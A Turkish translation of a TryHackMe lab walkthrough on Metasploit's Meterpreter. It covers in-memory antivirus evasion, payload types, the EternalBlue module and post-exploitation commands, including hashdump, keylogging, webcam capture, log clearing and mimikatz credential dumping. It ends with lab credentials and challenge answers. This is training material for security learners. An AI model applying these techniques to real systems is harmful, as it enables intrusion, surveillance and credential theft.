Metasploit: Meterpreter

Task 1 Introduction to Meterpreter (Görev 1 Meterpreter'a Giriş)

Meterpreter, sızma testi sürecini birçok değerli bileşenle destekleyen bir Metasploit yüküdür. Meterpreter hedef sistem üzerinde çalışacak ve bir komut ve kontrol mimarisi içinde bir ajan olarak hareket edecektir. Hedef işletim sistemi ve dosyalarla etkileşime girecek ve Meterpreter'ın özel komutlarını kullanacaksınız.

Meterpreter'ın hedef sisteme bağlı olarak farklı işlevler sağlayan birçok sürümü vardır.

How does Meterpreter work? (Meterpreter nasıl çalışır?)

Meterpreter hedef sistemde çalışır ancak hedef sistemde yüklü değildir. Bellekte çalışır ve kendisini hedef üzerindeki diske yazmaz. Bu özellik antivirüs taramaları sırasında tespit edilmesini önlemeyi amaçlar. Varsayılan olarak, çoğu antivirüs yazılımı diskteki yeni dosyaları tarar (örneğin internetten bir dosya indirdiğinizde) Meterpreter, hedef sistemde diske yazılması gereken bir dosyaya (örneğin meterpreter.exe) sahip olmaktan kaçınmak için bellekte (RAM - Rastgele Erişimli Bellek) çalışır. Bu şekilde, Meterpreter bir süreç olarak görülecek ve hedef sistemde bir dosyaya sahip olmayacaktır.

Meterpreter ayrıca Metasploit'in çalıştığı sunucu (genellikle saldıran makineniz) ile şifreli iletişim kullanarak ağ tabanlı IPS (Saldırı Önleme Sistemi) ve IDS (Saldırı Tespit Sistemi) çözümleri tarafından tespit edilmekten kaçınmayı amaçlamaktadır. Hedef kuruluş, yerel ağa gelen ve yerel ağdan çıkan şifreli trafiğin (örneğin HTTPS) şifresini çözmez ve incelemezse, IPS ve IDS çözümleri faaliyetlerini tespit edemeyecektir.

Meterpreter başlıca antivirüs yazılımları tarafından tanınsa da, bu özellik bir dereceye kadar gizlilik sağlar.

Aşağıdaki örnek, MS17-010 güvenlik açığı kullanılarak istismar edilen bir hedef Windows makinesini göstermektedir. Meterpreter'ın 1304 işlem kimliği (PID) ile çalıştığını göreceksiniz; bu PID sizin durumunuzda farklı olacaktır. Meterpreter'ın

çalıştığı işlem kimliğini döndüren getpid komutunu kullandık. Süreç kimliği (veya süreç tanımlayıcısı) işletim sistemleri tarafından çalışan süreçleri tanımlamak için kullanılır. Linux veya Windows'ta çalışan tüm süreçlerin benzersiz bir kimlik numarası olacaktır; bu numara, ihtiyaç duyulduğunda süreçle etkileşim kurmak için kullanılır (örneğin, durdurulması gerekiyorsa).

```
meterpreter > getpid
Current pid: 1304
```

Ps komutunu kullanarak hedef sistemde çalışan işlemleri listelersek, PID 1304'ün beklenebileceği gibi Meterpreter.exe değil spoolsv.exe olduğunu görürüz.

```
meterpreter > ps

Process List
============

 PID   PPID  Name              Arch  Session  User                  Path
 ---   ----  ----              ----  -------  ----                  ----
 0     0     [System Process]
 4     0     System            x64   0
 396   644   LogonUI.exe       x64   1        NT AUTHORITY\SYSTEM
C:\Windows\system32\LogonUI.exe
 416   4     smss.exe          x64   0        NT AUTHORITY\SYSTEM        \Syste
mRoot\System32\smss.exe
 428   692   svchost.exe       x64   0        NT AUTHORITY\SYSTEM
 548   540   csrss.exe         x64   0        NT AUTHORITY\SYSTEM        C:\W
indows\system32\csrss.exe
 596   540   wininit.exe       x64   0        NT AUTHORITY\SYSTEM        C:\Wi
ndows\system32\wininit.exe
 604   588   csrss.exe         x64   1        NT AUTHORITY\SYSTEM        C:\Wi
ndows\system32\csrss.exe
 644   588   winlogon.exe      x64   1        NT AUTHORITY\SYSTEM
C:\Windows\system32\winlogon.exe
 692   596   services.exe      x64   0        NT AUTHORITY\SYSTEM
C:\Windows\system32\services.exe
```

```
 700   692   sppsvc.exe          x64   0       NT AUTHORITY\NETWORK SERVIC
E
 716   596   lsass.exe           x64   0       NT AUTHORITY\SYSTEM         C:\Wi
ndows\system32\lsass.exe  1276  1304  cmd.exe             x64   0       NT AUT
HORITY\SYSTEM         C:\Windows\system32\cmd.exe
 1304  692   spoolsv.exe         x64   0       NT AUTHORITY\SYSTEM
C:\Windows\System32\spoolsv.exe
 1340  692   svchost.exe         x64   0       NT AUTHORITY\LOCAL SERVICE
 1388  548   conhost.exe         x64   0       NT AUTHORITY\SYSTEM
C:\Windows\system32\conhost.exe
```

Bir adım daha ileri gidip Meterpreter işlemi (bu durumda PID 1304) tarafından kullanılan DLL'lere (Dinamik Bağlantı Kütüphaneleri) baksak bile, yine de bize atlayan bir şey bulamayız (örneğin meterpreter.dll yok)

```
C:\Windows\system32>tasklist /m /fi "pid eq 1304"
tasklist /m /fi "pid eq 1304"

Image Name                     PID Modules
========================= ======== ====================
======================
spoolsv.exe                   1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,
                                   msvcrt.dll, sechost.dll, RPCRT4.dll,
                                   USER32.dll, GDI32.dll, LPK.dll, USP10.dll,
                                   POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,
                                   ADVAPI32.dll, OLEAUT32.dll, ole32.dll,
                                   DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,
                                   NSI.dll, IMM32.DLL, MSCTF.dll,
                                   CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,
                                   secur32.dll, SSPICLI.DLL, credssp.dll,
                                   IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,
                                   wshtcpip.dll, wship6.dll, rasadhlp.dll,
                                   fwpuclnt.dll, CLBCatQ.DLL, umb.dll,
                                   ATL.DLL, WINTRUST.dll, CRYPT32.dll,
                                   MSASN1.dll, localspl.dll, SPOOLSS.DLL,
                                   srvcli.dll, winspool.drv,
```

```
                    PrintIsolationProxy.dll, FXSMON.DLL,
                    tcpmon.dll, snmpapi.dll, wsnmp32.dll,
                    msxml6.dll, SHLWAPI.dll, usbmon.dll,
                    wls0wndh.dll, WSDMon.dll, wsdapi.dll,
                    webservices.dll, FirewallAPI.dll,
                    VERSION.dll, FunDisc.dll, fdPnp.dll,
                    winprint.dll, USERENV.dll, profapi.dll,
                    GPAPI.dll, dsrole.dll, win32spl.dll,
                    inetpp.dll, DEVRTL.dll, SPINF.dll,
                    CRYPTSP.dll, rsaenh.dll, WINSTA.dll,
                    cscapi.dll, netutils.dll, WININET.dll,
                    urlmon.dll, iertutil.dll, WINHTTP.dll,
                    webio.dll, SHELL32.dll, MPR.dll,
                    NETAPI32.dll, wkscli.dll, PSAPI.DLL,
                    WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,
                    apphelp.dll, NLAapi.dll, napinsp.dll,
                    pnrpnsp.dll, winrnr.dll

C:\Windows\system32>
```

Meterpreter'ı tespit etmek için kullanılabilecek teknikler ve araçlar bu odanın kapsamı dışındadır. Bu bölüm size Meterpreter'ın ne kadar gizli çalıştığını göstermeyi amaçlamaktadır; unutmayın, çoğu antivirüs yazılımı onu tespit edecektir.

Meterpreter'ın saldırganın sistemiyle şifrelenmiş (TLS) bir iletişim kanalı kuracağını da belirtmek gerekir.

Soru ⇒ Cevap Gerekmemektedir.

Cevap ⇒ Cevap Gerekmemektedir.

Task 2 Meterpreter Flavors (Görev 2 Meterpreter Tatları)

Aşağıda bağlantısı verilen önceki Metasploit odalarında tartışıldığı gibi, Metasploit yükleri başlangıçta iki kategoriye ayrılabilir; satır içi (tekli olarak da adlandırılır) ve

aşamalı.

Metasploit'e Giriş: https://www.tryhackme.com/jr/metasploitintro

Metasploit ile Tarama ve İstismar: https://www.tryhackme.com/jr/metasploitexploitation

Hatırlayacağınız gibi, aşamalı yükler hedefe iki adımda gönderilir. Bir başlangıç parçası yüklenir (stager) ve yükün geri kalanını talep eder. Bu, daha küçük bir başlangıç yükü boyutuna izin verir. Satır içi yükler tek bir adımda gönderilir. Meterpreter payloadları da stagged ve inline versiyonlar olarak ikiye ayrılır. Ancak Meterpreter, hedef sisteminize bağlı olarak seçebileceğiniz çok çeşitli farklı sürümlere sahiptir.

Mevcut Meterpreter sürümleri hakkında fikir sahibi olmanın en kolay yolu, aşağıda görüldüğü gibi msfvenom kullanarak bunları listelemek olabilir.

Biz msfvenom --list payloads komutunu kullandık ve "meterpreter" payloadlarını greppledik (komut satırına | grep meterpreter ekleyerek), bu yüzden çıktı sadece bunları gösteriyor. Bu komutu AttackBox üzerinde deneyebilirsiniz.

```
root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter    andr
oid/meterpreter/reverse_http                 Run a meterpreter server in Android.
Tunnel communication over HTTP
    android/meterpreter/reverse_https                Run a meterpreter server in A
ndroid. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                  Run a meterpreter server in An
droid. Connect back stager
    android/meterpreter_reverse_http                 Connect back to attacker and
spawn a Meterpreter shell
    android/meterpreter_reverse_https                Connect back to attacker and
spawn a Meterpreter shell
    android/meterpreter_reverse_tcp                  Connect back to the attacker
and spawn a Meterpreter shell
    apple_ios/aarch64/meterpreter_reverse_http       Run the Meterpreter / Me
ttle server payload (stageless)
    apple_ios/aarch64/meterpreter_reverse_https      Run the Meterpreter / M
ettle server payload (stageless)
    apple_ios/aarch64/meterpreter_reverse_tcp        Run the Meterpreter / Me
```

```
ttle server payload (stageless)
   apple_ios/armle/meterpreter_reverse_http          Run the Meterpreter / Mett
le server payload (stageless)
   apple_ios/armle/meterpreter_reverse_https         Run the Meterpreter / Met
tle server payload (stageless)
   apple_ios/armle/meterpreter_reverse_tcp           Run the Meterpreter / Mettl
e server payload (stageless)
   java/meterpreter/bind_tcp                         Run a meterpreter server in Java.
Listen for a connection
   java/meterpreter/reverse_http                     Run a meterpreter server in Jav
a. Tunnel communication over HTTP
   java/meterpreter/reverse_https                    Run a meterpreter server in Jav
a. Tunnel communication over HTTPS
   java/meterpreter/reverse_tcp                      Run a meterpreter server in Jav
a. Connect back stager
   linux/aarch64/meterpreter/reverse_tcp             Inject the mettle server payl
oad (staged). Connect back to the attacker
   linux/aarch64/meterpreter_reverse_http            Run the Meterpreter / Mettl
e server payload (stageless)
   linux/aarch64/meterpreter_reverse_https           Run the Meterpreter / Mettl
e server payload (stageless)
   linux/aarch64/meterpreter_reverse_tcp             Run the Meterpreter / Mettl
e server payload (stageless)
   linux/armbe/meterpreter_reverse_http              Run the Meterpreter / Mettle
server payload (stageless)
   linux/armbe/meterpreter_reverse_https             Run the Meterpreter / Mettl
e server payload (stageless)
   linux/armbe/meterpreter_reverse_tcp               Run the Meterpreter / Mettle
server payload (stageless)
   linux/armle/meterpreter/bind_tcp                  Inject the mettle server payloa
d (staged). Listen for a connection
   linux/armle/meterpreter/reverse_tcp               Inject the mettle server paylo
ad (staged). Connect back to the attacker [...]
```

Liste, aşağıdaki platformlar için mevcut Meterpreter sürümlerini gösterecektir;

- Android
- Apple iOS
- Java
- Linux
- OSX
- PHP
- Python
- Windows

Meterpreter'ın hangi sürümünü kullanacağınıza karar vermeniz çoğunlukla üç faktöre bağlı olacaktır;

- Hedef işletim sistemi (Hedef işletim sistemi Linux mu yoksa Windows mu? Bir Mac cihazı mı? Android telefon mu? vb.)
- Hedef sistemde bulunan bileşenler (Python yüklü mü? Bu bir PHP web sitesi mi? vb.)
- Hedef sistemle yapabileceğiniz ağ bağlantısı türleri (Ham TCP bağlantılarına izin veriyorlar mı? Sadece HTTPS ters bağlantınız olabilir mi? IPv6 adresleri IPv4 adresleri kadar yakından izlenmiyor mu? vb.)

Meterpreter'ı Msfvenom tarafından oluşturulan bağımsız bir yük olarak kullanmıyorsanız, seçiminiz de istismarla sınırlı olabilir. Aşağıdaki örnekte ms17_010_eternalblue istismarında görebileceğiniz gibi, bazı istismarların varsayılan bir Meterpreter yüküne sahip olacağını fark edeceksiniz.

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Herhangi bir modülle show payloads komutunu kullanarak mevcut diğer yükleri de listeleyebilirsiniz.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
```

```
Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   0   generic/custom                                       manual  No     Custom Payloa
d
   1   generic/shell_bind_tcp                               manual  No     Generic Com
mand Shell, Bind TCP Inline
   2   generic/shell_reverse_tcp                            manual  No     Generic Co
mmand Shell, Reverse TCP Inline
   3   windows/x64/exec                                     manual  No     Windows x6
4 Execute Command
   4   windows/x64/loadlibrary                              manual  No     Windows x
64 LoadLibrary Path
   5   windows/x64/messagebox                               manual  No     Window
s MessageBox x64
   6   windows/x64/meterpreter/bind_ipv6_tcp                manual  No     Win
dows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stag
er
   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid           manual  No     W
indows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP St
ager with UUID Support
   8   windows/x64/meterpreter/bind_named_pipe              manual  No
Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pi
pe Stager [...]
```

Soru ⇒ Cevap Gerekmemektedir.

Cevap ⇒ Cevap Gerekmemektedir.

Task 3 Meterpreter Commands (Görev 3 Meterpreter Komutları)

Herhangi bir Meterpreter oturumunda yardım yazıldığında (komut isteminde meterpreter> ile gösterilir) mevcut tüm komutlar listelenir.

```
meterpreter > help

Core Commands
=============

    Command              Description
    -------              -----------
    ?                    Help menu
    background           Backgrounds the current session
    bg                   Alias for background
    bgkill               Kills a background meterpreter script
    bglist               Lists running background scripts
    bgrun                Executes a meterpreter script as a background thread
    channel              Displays information or control active channels
    close                Closes a channel[...]
```

Meterpreter'ın her sürümü farklı komut seçeneklerine sahip olacaktır, bu nedenle help komutunu çalıştırmak her zaman iyi bir fikirdir. Komutlar Meterpreter'da bulunan yerleşik araçlardır. Herhangi bir ek komut dosyası veya yürütülebilir dosya yüklemeden hedef sistemde çalışırlar.

Meterpreter size üç ana araç kategorisi sağlayacaktır;

- Built-in commands (Yerleşik komutlar)
- Meterpreter tools (Meterpreter araçları)
- Meterpreter scripting (Meterpreter komut dosyası oluşturma)

Eğer help komutunu çalıştırırsanız, Meterpreter komutlarının farklı kategoriler altında listelendiğini göreceksiniz.

- Core command (Temel komutlar)
- File system commands (Dosya sistemi komutları)
- Networking commands (Ağ komutları)

- System commands (Sistem komutları)
- User interface commands (Kullanıcı arayüzü komutları)
- Webcam commands (Web kamerası komutları)
- Audio output commands (Ses çıkışı komutları)
- Elevate commands (Yükseltme komutları)
- Password database commands (Parola veritabanı komutları)
- Timestomp commands (Timestomp komutları)

Lütfen yukarıdaki listenin Meterpreter'ın Windows sürümündeki (windows/x64/meterpreter/reverse_tcp) help komutunun çıktısından alındığını unutmayın. Bunlar diğer Meterpreter sürümleri için farklı olacaktır.

Meterpreter commands (Meterpreter komutları)

Temel komutlar hedef sistemde gezinmek ve etkileşimde bulunmak için yardımcı olacaktır. Aşağıda en sık kullanılanlardan bazıları verilmiştir. Meterpreter oturumu başladıktan sonra help komutunu çalıştırarak mevcut tüm komutları kontrol etmeyi unutmayın.

Core commands (Temel komutlar)

- `background` : (arka plan: Geçerli oturumun arka planını oluşturur)
- `exit` : (çıkış: Meterpreter oturumunu sonlandırır)
- `guid` : (guid: Oturum GUID'sini (Küresel Benzersiz Tanımlayıcı) alın)
- `help` : (Yardım: Yardım menüsünü görüntüler)
- `info` : (info: Bir Post modülü hakkındaki bilgileri görüntüler)
- `irb` : (irb: Geçerli oturumda etkileşimli bir Ruby kabuğu açar)
- `load` : (yükleyin: Bir veya daha fazla Meterpreter uzantısını yükler)
- `migrate` : (migrate: Meterpreter'ı başka bir sürece taşımanızı sağlar)
- `run` : (çalıştır: Bir Meterpreter betiğini veya Post modülünü çalıştırır)
- `sessions` : (oturumlar: Hızlıca başka bir oturuma geçin)

File system commands (Dosya sistemi komutları)

- `cd` : (cd: Dizini değiştirir)
- `ls` : (ls: Geçerli dizindeki dosyaları listeler (dir de çalışacaktır))
- `pwd` : (pwd: Geçerli çalışma dizinini yazdırır)
- `edit` : (edit: bir dosyayı düzenlemenize izin verir)
- `cat` : (cat: Bir dosyanın içeriğini ekrana gösterir)
- `rm` : (rm: Belirtilen dosyayı siler)
- `search` : (arama: Dosyaları arayacak)
- `upload` : (yükleyin: Bir dosya veya dizin yükler)
- `download` : (indir: Bir dosya veya dizin indirir)

Networking commands (Ağ komutları)

- `arp` : (arp: Ana bilgisayar ARP (Adres Çözümleme Protokolü) önbelleğini görüntüler)
- `ifconfig` : (ifconfig: Hedef sistemde bulunan ağ arayüzlerini görüntüler)
- `netstat` : (netstat: Ağ bağlantılarını görüntüler)
- `portfwd` : (portfwd: Yerel bir bağlantı noktasını uzak bir hizmete yönlendirir)
- `route` : (rota: Yönlendirme tablosunu görüntülemenizi ve değiştirmenizi sağlar)

System commands (Sistem komutları)

- `clearev` : (clearev: Olay günlüklerini temizler)
- `execute` : (execute: Bir komut çalıştırır)
- `getpid` : (getpid: Geçerli süreç tanımlayıcısını gösterir)
- `getuid` : (getuid: Meterpreter'ın hangi kullanıcı olarak çalıştığını gösterir)
- `kill` : (kill: Bir işlemi sonlandırır)
- `pkill` : (pkill: İşlemleri isimlerine göre sonlandırır)
- `ps` : (ps: Çalışan işlemleri listeler)
- `reboot` : (reboot: Uzak bilgisayarı yeniden başlatır)
- `shell` : (kabuk: Bir sistem komutu kabuğuna düşer)

- `shutdown`: (shutdown: Uzaktaki bilgisayarı kapatır)
- `sysinfo`: (sysinfo: İşletim sistemi gibi uzak sistem hakkında bilgi alır)

Diğer Komutlar (bunlar yardım menüsünde farklı menü kategorileri altında listelenecektir)

- `idletime`: (idletime: Uzak kullanıcının boşta kaldığı saniye sayısını verir)
- `keyscan_dump`: (keyscan_dump: Tuş vuruşu arabelleğini döker)
- `keyscan_start`: (keyscan_start: Tuş vuruşlarını yakalamaya başlar)
- `keyscan_stop`: (keyscan_stop: Tuş vuruşlarını yakalamayı durdurur)
- `screenshare`: (screenshare: Uzak kullanıcının masaüstünü gerçek zamanlı olarak izlemenizi sağlar)
- `screenshot`: (screenshot: Etkileşimli masaüstünün ekran görüntüsünü alır)
- `record_mic`: (record_mic: X saniye boyunca varsayılan mikrofondan ses kaydeder)
- `webcam_chat`: (webcam_chat: Görüntülü sohbet başlatır)
- `webcam_list`: (webcam_list: Web kameralarını listeler)
- `webcam_snap`: (webcam_snap: Belirtilen web kamerasından anlık görüntü alır)
- `webcam_stream`: (webcam_stream: Belirtilen web kamerasından bir video akışı oynatır)
- `getsystem`: (getsystem: Ayrıcalığınızı yerel sistem ayrıcalığına yükseltmeye çalışır)
- `hashdump`: (hashdump: SAM veritabanının içeriğini döker)

Tüm bu komutlar yardım menüsü altında mevcut görünse de, hepsi çalışmayabilir. Örneğin, hedef sistemin bir web kamerası olmayabilir veya uygun bir masaüstü ortamı olmayan bir sanal makinede çalışıyor olabilir.

Soru ⇒ Cevap Gerekmemektedir.

Cevap ⇒ Cevap Gerekmemektedir.

Task 4 Post-Exploitation with Meterpreter (Görev 4 Meterpreter ile Suistimal Sonrası)

Meterpreter size istismar sonrası aşamayı kolaylaştıran birçok yararlı komut sağlar. Aşağıda sıklıkla kullanacağınız birkaç örnek verilmiştir.

Help (Yardım)

Bu komut size Meterpreter'daki mevcut tüm komutların bir listesini verecektir. Daha önce gördüğümüz gibi, Meterpreter'ın birçok sürümü vardır ve her sürümün farklı seçenekleri olabilir. Bir Meterpreter oturumunuz olduğunda yardım yazmak, mevcut komutlara hızlı bir şekilde göz atmanıza yardımcı olacaktır.

```
meterpreter > help

Core Commands
=============

    Command              Description
    -------              -----------
    ?                    Help menu
    background           Backgrounds the current session
    bg                   Alias for background
    bgkill               Kills a background meterpreter script
    bglist               Lists running background scripts
    bgrun                Executes a meterpreter script as a background thread
    channel              Displays information or control active channels
    close                Closes a channel[...]
```

Meterpreter commands (Meterpreter komutları)

getuid komutu Meterpreter'ın o anda hangi kullanıcı ile çalıştığını gösterecektir. Bu size hedef sistemdeki olası ayrıcalık düzeyiniz hakkında bir fikir verecektir (örneğin NT AUTHORITY\SYSTEM gibi yönetici düzeyinde bir kullanıcı mısınız yoksa normal bir kullanıcı mı?)

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Ps komutu çalışan süreçleri listeleyecektir. PID sütunu size Meterpreter'ı başka bir sürece taşımak için ihtiyaç duyacağınız PID bilgisini de verecektir.

```
meterpreter > ps

Process List
============

 PID   PPID  Name              Arch  Session  User                  Path
 ---   ----  ----              ----  -------  ----                  ----
 0     0     [System Process]
 4     0     System            x64   0
 396   644   LogonUI.exe       x64   1       NT AUTHORITY\SYSTEM
C:\Windows\system32\LogonUI.exe
 416   4     smss.exe          x64   0       NT AUTHORITY\SYSTEM       \Syste
mRoot\System32\smss.exe
 428   692   svchost.exe       x64   0       NT AUTHORITY\SYSTEM
 548   540   csrss.exe         x64   0       NT AUTHORITY\SYSTEM       C:\W
indows\system32\csrss.exe
 596   540   wininit.exe       x64   0       NT AUTHORITY\SYSTEM       C:\Wi
ndows\system32\wininit.exe
 604   588   csrss.exe         x64   1       NT AUTHORITY\SYSTEM       C:\Wi
ndows\system32\csrss.exe
 644   588   winlogon.exe      x64   1       NT AUTHORITY\SYSTEM
C:\Windows\system32\winlogon.exe
 692   596   services.exe      x64   0       NT AUTHORITY\SYSTEM
C:\Windows\system32\services.exe
 700   692   sppsvc.exe        x64   0       NT AUTHORITY\NETWORK SERVIC
E
 716   596   lsass.exe         x64   0       NT AUTHORITY\SYSTEM       C:\Wi
ndows\system32\lsass.exe
```

```
 724   596   lsm.exe            x64   0       NT AUTHORITY\SYSTEM         C:\Wi
ndows\system32\lsm.exe
 764   692   svchost.exe        x64   0       NT AUTHORITY\SYSTEM
 828   692   svchost.exe        x64   0       NT AUTHORITY\SYSTEM
 864   828   WmiPrvSE.exe
 900   692   svchost.exe        x64   0       NT AUTHORITY\NETWORK SERVIC
E
 952   692   svchost.exe        x64   0       NT AUTHORITY\LOCAL SERVICE
 1076  692   svchost.exe        x64   0       NT AUTHORITY\LOCAL SERVICE
 1164  548   conhost.exe        x64   0       NT AUTHORITY\SYSTEM
C:\Windows\system32\conhost.exe
 1168  692   svchost.exe        x64   0       NT AUTHORITY\NETWORK SERVIC
E
 1244  548   conhost.exe        x64   0       NT AUTHORITY\SYSTEM
C:\Windows\system32\conhost.exe
 1276  1304  cmd.exe            x64   0       NT AUTHORITY\SYSTEM
C:\Windows\system32\cmd.exe
 1304  692   spoolsv.exe        x64   0       NT AUTHORITY\SYSTEM
C:\Windows\System32\spoolsv.exe
 1340  692   svchost.exe        x64   0       NT AUTHORITY\LOCAL SERVICE
 1388  548   conhost.exe        x64   0       NT AUTHORITY\SYSTEM
C:\Windows\system32\conhost.exe[...]
```

Migrate

Başka bir sürece geçiş yapmak Meterpreter'ın bu süreçle etkileşime geçmesine yardımcı olacaktır. Örneğin, hedefte çalışan bir kelime işlemci görürseniz (örn. word.exe, notepad.exe, vb.), ona geçebilir ve kullanıcı tarafından bu işleme gönderilen tuş vuruşlarını yakalamaya başlayabilirsiniz. Bazı Meterpreter sürümleri, Meterpreter'ın bir keylogger gibi davranmasını sağlamak için keyscan_start, keyscan_stop ve keyscan_dump komut seçeneklerini sunacaktır. Başka bir işleme geçmek de daha kararlı bir Meterpreter oturumu elde etmenize yardımcı olabilir.

Herhangi bir sürece geçiş yapmak için migrate komutunu ve ardından istenen hedef sürecin PID'sini yazmanız gerekir. Aşağıdaki örnek Meterpreter'ın 716 numaralı işleme geçişini göstermektedir.

```
meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
meterpreter >
```

Dikkatli olun; daha yüksek ayrıcalıklı (örn. SYSTEM) bir kullanıcıdan daha düşük ayrıcalıklı bir kullanıcı (örn. web sunucusu) tarafından başlatılan bir işleme geçerseniz kullanıcı ayrıcalıklarınızı kaybedebilirsiniz. Bunları geri kazanmanız mümkün olmayabilir.

Hashdump

hashdump komutu SAM veritabanının içeriğini listeleyecektir. SAM (Security Account Manager) veritabanı Windows sistemlerindeki kullanıcı parolalarını saklar. Bu parolalar NTLM (Yeni Teknoloji LAN Yöneticisi) biçiminde saklanır.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931
b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59
d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0c
c8ad57f8d:::
meterpreter >
```

Bu karmaları "kırmak" matematiksel olarak mümkün olmasa da, çevrimiçi NTLM veritabanlarını veya bir gökkuşağı tablosu saldırısını kullanarak açık metin parolasını yine de keşfedebilirsiniz. Bu karmalar aynı zamanda Pass-the-Hash saldırılarında bu kullanıcıların aynı ağa erişebildiği diğer sistemlere kimlik doğrulaması yapmak için de kullanılabilir.

Search

Arama komutu, potansiyel olarak ilginç bilgiler içeren dosyaları bulmak için kullanışlıdır. CTF bağlamında, bu bir bayrak veya kanıt dosyasını hızlı bir şekilde bulmak için kullanılabilirken, gerçek sızma testi çalışmalarında, parola veya hesap bilgileri içerebilecek kullanıcı tarafından oluşturulan dosyaları veya yapılandırma dosyalarını aramanız gerekebilir.

```
meterpreter > search -f flag2.txt
Found 1 result...
    c:\Windows\System32\config\flag2.txt (34 bytes)
meterpreter >
```

Shell

Kabuk komutu hedef sistemde normal bir komut satırı kabuğu başlatacaktır. CTRL+Z tuşlarına basmak Meterpreter kabuğuna geri dönmenize yardımcı olacaktır.

```
meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

Soru ⇒ Cevap Gerekmemektedir.

Cevap ⇒ Cevap Gerekmemektedir.

Task 5 Post-Exploitation Challenge (Görev 5 Sömürü Sonrası Mücadele)

Meterpreter birkaç önemli istismar sonrası araç sağlar.

Başlamak için aşağıdaki Makineyi Başlat düğmesine basın.

Bu sayfanın üst kısmındaki AttackBox'ı Başlat düğmesine basarak AttackBox'ı başlatın. AttackBox makinesi Bölünmüş Ekran görünümünde başlayacaktır. Görünmüyorsa, sayfanın üst kısmındaki mavi Bölünmüş Görünümü Göster düğmesini kullanın.

Daha önce bahsedilen getsystem ve hashdump gibi komutlar, ayrıcalık yükseltme ve yanal hareket için önemli kaldıraç ve bilgi sağlayacaktır. Meterpreter aynı zamanda Metasploit çerçevesinde bulunan post-exploitation modüllerini

çalıştırmak için kullanabileceğiniz iyi bir temeldir. Son olarak, Kiwi gibi ek araçlardan ve hatta tüm Python dilinden yararlanmak için load komutunu da kullanabilirsiniz.

```
meterpreter > load python
Loading extension python...Success.
meterpreter > python_execute "print 'TryHackMe Rocks!'"
[+] Content written to stdout:
TryHackMe Rocks!

meterpreter >
```

Sömürü sonrası aşamanın çeşitli hedefleri olacaktır; Meterpreter hepsine yardımcı olabilecek işlevlere sahiptir.

- Hedef sistem hakkında daha fazla bilgi toplamak.
- Hedef sistemde ilginç dosyalar, kullanıcı kimlik bilgileri, ek ağ arayüzleri ve genellikle ilginç bilgiler arar.
- Ayrıcalık yükseltme.
- Yanal hareket.

Herhangi bir ek araç load komutu kullanılarak yüklendiğinde, yardım menüsünde yeni seçenekler göreceksiniz. Aşağıdaki örnekte Kiwi modülü için eklenen komutlar gösterilmektedir (load kiwi komutu kullanılarak).

```
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
```

Bunlar yüklenen menüye göre değişecektir, bu nedenle bir modül yükledikten sonra yardım komutunu çalıştırmak her zaman iyi bir fikirdir.

```
Kiwi Commands
=============

    Command             Description
    -------             -----------
    creds_all           Retrieve all credentials (parsed)
    creds_kerberos      Retrieve Kerberos creds (parsed)
    creds_msv           Retrieve LM/NTLM creds (parsed)
    creds_ssp           Retrieve SSP creds
    creds_tspkg         Retrieve TsPkg creds (parsed)
    creds_wdigest       Retrieve WDigest creds (parsed)
    dcsync              Retrieve user account information via DCSync (unparsed)
    dcsync_ntlm         Retrieve user account NTLM hash, SID and RID via DCS
ync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets (unparsed)
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd            Execute an arbitary mimikatz command (unparsed)
    lsa_dump_sam        Dump LSA SAM (unparsed)
    lsa_dump_secrets    Dump LSA secrets (unparsed)
    password_change     Change the password/hash of a user
    wifi_list           List wifi profiles/creds for the current user
    wifi_list_shared    List shared wifi profiles/creds (requires SYSTEM)
```

Aşağıdaki sorular, Meterpreter'ın istismar sonrasında nasıl kullanılabileceğini daha iyi anlamanıza yardımcı olacaktır.

SMB (Sunucu İleti Bloğu) üzerinden ilk tehlikeyi simüle etmek için aşağıdaki kimlik bilgilerini kullanabilirsiniz (exploit/windows/smb/psexec kullanarak)

Kullanıcı adı: ballen

Şifre: Password1

Sorular

Soru ⇒ Bilgisayarın adı nedir(İpucu ⇒ "sysinfo" komutunu kullanın)?

Cevap ⇒ ACME-TEST

Soru ⇒ Hedef etki alanı nedir(İpucu ⇒ "post/windows/gather/enum_domain" modülünü kullanın. Önce Meterpreter'ı arka plana atmanız ve SESSION parametresini ayarlamanız gerekecektir.)?

Cevap ⇒ FLASH

